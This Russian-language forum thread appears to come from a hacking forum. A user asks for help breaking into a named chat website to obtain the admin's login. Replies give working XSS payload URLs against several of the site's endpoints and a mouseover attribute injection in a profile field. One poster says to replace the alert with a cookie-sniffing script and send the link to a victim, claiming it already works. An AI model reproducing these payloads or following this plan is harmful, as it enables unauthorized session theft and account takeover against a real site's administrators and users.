Помогите взломать !!!!

[kord]

http://chat.russianamerica.com:8080/ помогите узнать логин админа и код с уважением Автоматический гранатамёт Стечкина.

[Sn@k3]

Не нравиц мне та надпись Russian Amerika, будет время помогу!!!!!

[kord]

помоги чем можешь.

[nc.STRIEM]

первое че брасаеться в глаза это пасив на главной странице



http://chat.russianamerica.com:8080/login?login=%22%3E%3Cscript%3Ealert(document.cooki e)%3C/script%3E

ток пробел над убрать в document.cookie
буду смотреть дальше...

-- в профиле не фильтруються двойные кавычки

[Kaban]

вот и я нашел
http://chat.russianamerica.com:8080/StPic?n='><script>alert(/Kaban/)</script>
XSS эта вроде работает, только когда под ником сидишь

[nc.STRIEM]

вот и я нашел
http://chat.russianamerica.com:8080/StPic?n='><script>alert(/Kaban/)</script>
XSS эта вроде работает, только когда под ником сидишь
ну вот те пожалуст!
осталось заместо алерта подставить скрипт для сниффера и впарить комут ссылку! уже проверил работает!

[Kaban]

вроде тоже проходит
http://chat.russianamerica.com:8080/Gallery?s=%22%3E%3Cscript%3Ealert(/Kaban/)%3C/script%3E

[nc.STRIEM]

Еще нашол в профиле полуактивную xss в поле Домашняя страничка: вставляеш

" onmouseover=javascript:alert(document.cookie) "

при наведение срабатывает

[kord]

Хакеры а что именно открываеться что то я не пойму что можно с этим делать и что логин и пароль админа не узнать?

[Kaban]

вот в этой статье всё прекрасно описано что делать, как делать и зачем делать.
http://forum.antichat.ru/thread20140.html

[гейлордфакерЪ]

приятно было полистать и почитать .. прям как 3д картину рассматривал ... красифа